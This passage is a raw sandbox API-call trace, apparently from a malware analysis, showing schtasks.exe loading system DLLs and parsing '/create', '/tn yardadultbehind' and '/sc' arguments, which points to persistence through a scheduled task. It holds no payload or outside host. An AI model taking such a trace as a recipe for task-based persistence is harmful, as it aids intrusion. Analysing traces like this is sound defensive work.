"\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4640 start_va = 0x3b0000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 4641 start_va = 0x1e90000 end_va = 0x1f6efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e90000" filename = "" Region: id = 4642 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4643 start_va = 0x2120000 end_va = 0x219ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 4644 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4647 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4648 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 4649 start_va = 0x140000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4650 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4651 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 4652 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4653 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4654 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 214 os_tid = 0x918 [0161.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xff880 | out: lpSystemTimeAsFileTime=0xff880*(dwLowDateTime=0x2c960760, dwHighDateTime=0x1d8a92a)) [0161.689] GetCurrentProcessId () returned 0x914 [0161.689] GetCurrentThreadId () returned 0x918 [0161.689] GetTickCount () returned 0x138c8e0 [0161.689] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xff888 | out: lpPerformanceCount=0xff888*=2064055272887) returned 1 [0161.690] GetModuleHandleW (lpModuleName=0x0) returned 0xff450000 [0161.690] __set_app_type (_Type=0x1) [0161.690] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff47972c) returned 0x0 [0161.690] __wgetmainargs (in: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248, _DoWildCard=0, _StartInfo=0xff49125c | out: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248) returned 0 [0161.691] _onexit (_Func=0xff482ab0) returned 0xff482ab0 [0161.691] _onexit (_Func=0xff482ac4) returned 0xff482ac4 [0161.691] _onexit (_Func=0xff482afc) returned 0xff482afc [0161.691] _onexit (_Func=0xff482b58) returned 0xff482b58 [0161.691] _onexit (_Func=0xff482b80) returned 0xff482b80 [0161.691] _onexit (_Func=0xff482ba8) returned 0xff482ba8 [0161.691] _onexit (_Func=0xff482bd0) returned 0xff482bd0 [0161.691] _onexit (_Func=0xff482bf8) returned 0xff482bf8 [0161.691] _onexit (_Func=0xff482c20) returned 0xff482c20 [0161.692] _onexit (_Func=0xff482c48) returned 0xff482c48 [0161.692] _onexit (_Func=0xff482c70) returned 0xff482c70 [0161.692] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0161.692] WinSqmIsOptedIn () returned 0x0 [0161.692] GetProcessHeap () returned 0x140000 [0161.692] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x155490 [0161.692] SetLastError (dwErrCode=0x0) [0161.692] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0161.693] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0161.693] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0161.693] VerifyVersionInfoW (in: lpVersionInformation=0xff040, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xff040) returned 1 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15ba20 [0161.693] lstrlenW (lpString="") returned 0 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x2) returned 0x15ba40 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155990 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15ba60 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x1559c0 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x1559f0 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155a20 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155a50 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15ba80 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155a80 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155ab0 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155ae0 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155b10 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15baa0 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155b40 [0161.693] GetProcessHeap () returned 0x140000 [0161.693] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155b70 [0161.694] GetProcessHeap () returned 0x140000 [0161.694] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155ba0 [0161.694] GetProcessHeap () returned 0x140000 [0161.694] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155bd0 [0161.694] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0161.694] SetLastError (dwErrCode=0x0) [0161.694] GetProcessHeap () returned 0x140000 [0161.694] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155c00 [0161.694] GetProcessHeap () returned 0x140000 [0161.694] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155c30 [0161.694] GetProcessHeap () returned 0x140000 [0161.694] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155c60 [0161.694] GetProcessHeap () returned 0x140000 [0161.694] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155c90 [0161.694] GetProcessHeap () returned 0x140000 [0161.694] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155cc0 [0161.694] GetProcessHeap () returned 0x140000 [0161.694] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15bac0 [0161.694] _memicmp (_Buf1=0x15bac0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.694] GetProcessHeap () returned 0x140000 [0161.694] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x208) returned 0x15bc60 [0161.694] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x15bc60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0161.694] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0161.696] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0161.696] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0161.698] GetProcessHeap () returned 0x140000 [0161.698] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x74e) returned 0x15c210 [0161.698] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0161.698] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x15c210 | out: lpData=0x15c210) returned 1 [0161.698] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0161.698] VerQueryValueW (in: pBlock=0x15c210, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xff128, puLen=0xff190 | out: lplpBuffer=0xff128*=0x15c5ac, puLen=0xff190) returned 1 [0161.701] _memicmp (_Buf1=0x15bac0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.701] _vsnwprintf (in: _Buffer=0x15bc60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xff108 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0161.701] VerQueryValueW (in: pBlock=0x15c210, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xff198, puLen=0xff188 | out: lplpBuffer=0xff198*=0x15c3d8, puLen=0xff188) returned 1 [0161.701] lstrlenW (lpString="schtasks.exe") returned 12 [0161.701] lstrlenW (lpString="schtasks.exe") returned 12 [0161.701] lstrlenW (lpString=".EXE") returned 4 [0161.701] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0161.806] lstrlenW (lpString="schtasks.exe") returned 12 [0161.806] lstrlenW (lpString=".EXE") returned 4 [0161.806] _memicmp (_Buf1=0x15bac0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.806] lstrlenW (lpString="schtasks") returned 8 [0161.806] GetProcessHeap () returned 0x140000 [0161.806] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155db0 [0161.806] GetProcessHeap () returned 0x140000 [0161.806] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cb20 [0161.806] GetProcessHeap () returned 0x140000 [0161.806] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cb50 [0161.806] GetProcessHeap () returned 0x140000 [0161.806] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cb80 [0161.806] GetProcessHeap () returned 0x140000 [0161.806] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15bae0 [0161.806] _memicmp (_Buf1=0x15bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.806] GetProcessHeap () returned 0x140000 [0161.807] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xa0) returned 0x15c060 [0161.807] GetProcessHeap () returned 0x140000 [0161.807] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cbb0 [0161.807] GetProcessHeap () returned 0x140000 [0161.807] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cbe0 [0161.807] GetProcessHeap () returned 0x140000 [0161.807] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cc10 [0161.807] GetProcessHeap () returned 0x140000 [0161.807] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15bb00 [0161.807] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.807] GetProcessHeap () returned 0x140000 [0161.807] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x200) returned 0x15d2f0 [0161.807] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0161.807] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0161.807] GetProcessHeap () returned 0x140000 [0161.807] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x30) returned 0x157ab0 [0161.807] _vsnwprintf (in: _Buffer=0x15c060, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xff108 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0161.807] GetProcessHeap () returned 0x140000 [0161.807] GetProcessHeap () returned 0x140000 [0161.807] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c210) returned 1 [0161.807] GetProcessHeap () returned 0x140000 [0161.808] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c210) returned 0x74e [0161.808] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c210 | out: hHeap=0x140000) returned 1 [0161.808] SetLastError (dwErrCode=0x0) [0161.808] GetThreadLocale () returned 0x409 [0161.808] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.809] lstrlenW (lpString="?") returned 1 [0161.809] GetThreadLocale () returned 0x409 [0161.809] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.809] lstrlenW (lpString="create") returned 6 [0161.809] GetThreadLocale () returned 0x409 [0161.809] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.809] lstrlenW (lpString="delete") returned 6 [0161.809] GetThreadLocale () returned 0x409 [0161.809] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.809] lstrlenW (lpString="query") returned 5 [0161.809] GetThreadLocale () returned 0x409 [0161.809] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.809] lstrlenW (lpString="change") returned 6 [0161.809] GetThreadLocale () returned 0x409 [0161.809] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.809] lstrlenW (lpString="run") returned 3 [0161.809] GetThreadLocale () returned 0x409 [0161.809] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.809] lstrlenW (lpString="end") returned 3 [0161.809] GetThreadLocale () returned 0x409 [0161.809] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.809] lstrlenW (lpString="showsid") returned 7 [0161.809] GetThreadLocale () returned 0x409 [0161.809] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.809] SetLastError (dwErrCode=0x0) [0161.810] SetLastError (dwErrCode=0x0) [0161.810] lstrlenW (lpString="/create") returned 7 [0161.810] lstrlenW (lpString="-/") returned 2 [0161.810] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.810] lstrlenW (lpString="?") returned 1 [0161.810] lstrlenW (lpString="?") returned 1 [0161.810] GetProcessHeap () returned 0x140000 [0161.810] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15c210 [0161.810] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.810] GetProcessHeap () returned 0x140000 [0161.810] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xa) returned 0x15c230 [0161.810] lstrlenW (lpString="create") returned 6 [0161.810] GetProcessHeap () returned 0x140000 [0161.810] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15c250 [0161.810] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.810] GetProcessHeap () returned 0x140000 [0161.810] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x14) returned 0x15c270 [0161.810] _vsnwprintf (in: _Buffer=0x15c230, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|?|") returned 3 [0161.810] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|create|") returned 8 [0161.810] lstrlenW (lpString="|?|") returned 3 [0161.810] lstrlenW (lpString="|create|") returned 8 [0161.810] SetLastError (dwErrCode=0x490) [0161.810] lstrlenW (lpString="create") returned 6 [0161.810] lstrlenW (lpString="create") returned 6 [0161.810] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.810] GetProcessHeap () returned 0x140000 [0161.810] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c230) returned 1 [0161.810] GetProcessHeap () returned 0x140000 [0161.810] RtlReAllocateHeap (Heap=0x140000, Flags=0xc, Ptr=0x15c230, Size=0x14) returned 0x15c290 [0161.811] lstrlenW (lpString="create") returned 6 [0161.811] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.811] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|create|") returned 8 [0161.811] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|create|") returned 8 [0161.811] lstrlenW (lpString="|create|") returned 8 [0161.811] lstrlenW (lpString="|create|") returned 8 [0161.811] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0161.811] SetLastError (dwErrCode=0x0) [0161.811] SetLastError (dwErrCode=0x0) [0161.811] SetLastError (dwErrCode=0x0) [0161.811] lstrlenW (lpString="/tn") returned 3 [0161.811] lstrlenW (lpString="-/") returned 2 [0161.811] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.811] lstrlenW (lpString="?") returned 1 [0161.811] lstrlenW (lpString="?") returned 1 [0161.811] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.811] lstrlenW (lpString="tn") returned 2 [0161.811] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.811] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|?|") returned 3 [0161.811] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tn|") returned 4 [0161.812] lstrlenW (lpString="|?|") returned 3 [0161.812] lstrlenW (lpString="|tn|") returned 4 [0161.812] SetLastError (dwErrCode=0x490) [0161.812] lstrlenW (lpString="create") returned 6 [0161.812] lstrlenW (lpString="create") returned 6 [0161.812] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.812] lstrlenW (lpString="tn") returned 2 [0161.812] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.812] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|create|") returned 8 [0161.812] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tn|") returned 4 [0161.812] lstrlenW (lpString="|create|") returned 8 [0161.812] lstrlenW (lpString="|tn|") returned 4 [0161.812] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0161.812] SetLastError (dwErrCode=0x490) [0161.812] lstrlenW (lpString="delete") returned 6 [0161.812] lstrlenW (lpString="delete") returned 6 [0161.812] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.812] lstrlenW (lpString="tn") returned 2 [0161.812] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.812] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|delete|") returned 8 [0161.812] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tn|") returned 4 [0161.812] lstrlenW (lpString="|delete|") returned 8 [0161.812] lstrlenW (lpString="|tn|") returned 4 [0161.812] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0161.812] SetLastError (dwErrCode=0x490) [0161.812] lstrlenW (lpString="query") returned 5 [0161.812] lstrlenW (lpString="query") returned 5 [0161.813] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.813] lstrlenW (lpString="tn") returned 2 [0161.813] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.813] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|query|") returned 7 [0161.813] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tn|") returned 4 [0161.813] lstrlenW (lpString="|query|") returned 7 [0161.813] lstrlenW (lpString="|tn|") returned 4 [0161.813] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0161.813] SetLastError (dwErrCode=0x490) [0161.813] lstrlenW (lpString="change") returned 6 [0161.813] lstrlenW (lpString="change") returned 6 [0161.813] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.813] lstrlenW (lpString="tn") returned 2 [0161.813] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.813] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|change|") returned 8 [0161.813] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tn|") returned 4 [0161.813] lstrlenW (lpString="|change|") returned 8 [0161.813] lstrlenW (lpString="|tn|") returned 4 [0161.813] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0161.813] SetLastError (dwErrCode=0x490) [0161.813] lstrlenW (lpString="run") returned 3 [0161.813] lstrlenW (lpString="run") returned 3 [0161.813] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.813] lstrlenW (lpString="tn") returned 2 [0161.813] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.814] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|run|") returned 5 [0161.814] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tn|") returned 4 [0161.814] lstrlenW (lpString="|run|") returned 5 [0161.814] lstrlenW (lpString="|tn|") returned 4 [0161.814] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0161.814] SetLastError (dwErrCode=0x490) [0161.814] lstrlenW (lpString="end") returned 3 [0161.814] lstrlenW (lpString="end") returned 3 [0161.814] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.814] lstrlenW (lpString="tn") returned 2 [0161.814] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.814] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|end|") returned 5 [0161.814] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tn|") returned 4 [0161.814] lstrlenW (lpString="|end|") returned 5 [0161.814] lstrlenW (lpString="|tn|") returned 4 [0161.814] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0161.814] SetLastError (dwErrCode=0x490) [0161.814] lstrlenW (lpString="showsid") returned 7 [0161.814] lstrlenW (lpString="showsid") returned 7 [0161.814] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.814] GetProcessHeap () returned 0x140000 [0161.814] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c290) returned 1 [0161.814] GetProcessHeap () returned 0x140000 [0161.814] RtlReAllocateHeap (Heap=0x140000, Flags=0xc, Ptr=0x15c290, Size=0x16) returned 0x15c290 [0161.815] lstrlenW (lpString="tn") returned 2 [0161.815] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.815] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|showsid|") returned 9 [0161.815] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tn|") returned 4 [0161.815] lstrlenW (lpString="|showsid|") returned 9 [0161.815] lstrlenW (lpString="|tn|") returned 4 [0161.815] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0161.815] SetLastError (dwErrCode=0x490) [0161.815] SetLastError (dwErrCode=0x490) [0161.815] SetLastError (dwErrCode=0x0) [0161.815] lstrlenW (lpString="/tn") returned 3 [0161.815] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0161.815] SetLastError (dwErrCode=0x490) [0161.815] SetLastError (dwErrCode=0x0) [0161.815] lstrlenW (lpString="/tn") returned 3 [0161.815] GetProcessHeap () returned 0x140000 [0161.815] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x8) returned 0x15c230 [0161.815] GetProcessHeap () returned 0x140000 [0161.815] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cc40 [0161.815] SetLastError (dwErrCode=0x0) [0161.815] SetLastError (dwErrCode=0x0) [0161.815] lstrlenW (lpString="yardadultbehind") returned 15 [0161.815] lstrlenW (lpString="-/") returned 2 [0161.815] StrChrIW (lpStart="-/", wMatch=0x79) returned 0x0 [0161.815] SetLastError (dwErrCode=0x490) [0161.815] SetLastError (dwErrCode=0x490) [0161.815] SetLastError (dwErrCode=0x0) [0161.815] lstrlenW (lpString="yardadultbehind") returned 15 [0161.815] StrChrIW (lpStart="yardadultbehind", wMatch=0x3a) returned 0x0 [0161.816] SetLastError (dwErrCode=0x490) [0161.816] SetLastError (dwErrCode=0x0) [0161.816] lstrlenW (lpString="yardadultbehind") returned 15 [0161.816] GetProcessHeap () returned 0x140000 [0161.816] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cc70 [0161.816] GetProcessHeap () returned 0x140000 [0161.816] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cca0 [0161.816] SetLastError (dwErrCode=0x0) [0161.816] SetLastError (dwErrCode=0x0) [0161.816] lstrlenW (lpString="/sc") returned 3 [0161.816] lstrlenW (lpString="-/") returned 2 [0161.816] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.816] lstrlenW (lpString="?") returned 1 [0161.816] lstrlenW (lpString="?") returned 1 [0161.816] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.816] lstrlenW (lpString="sc") returned 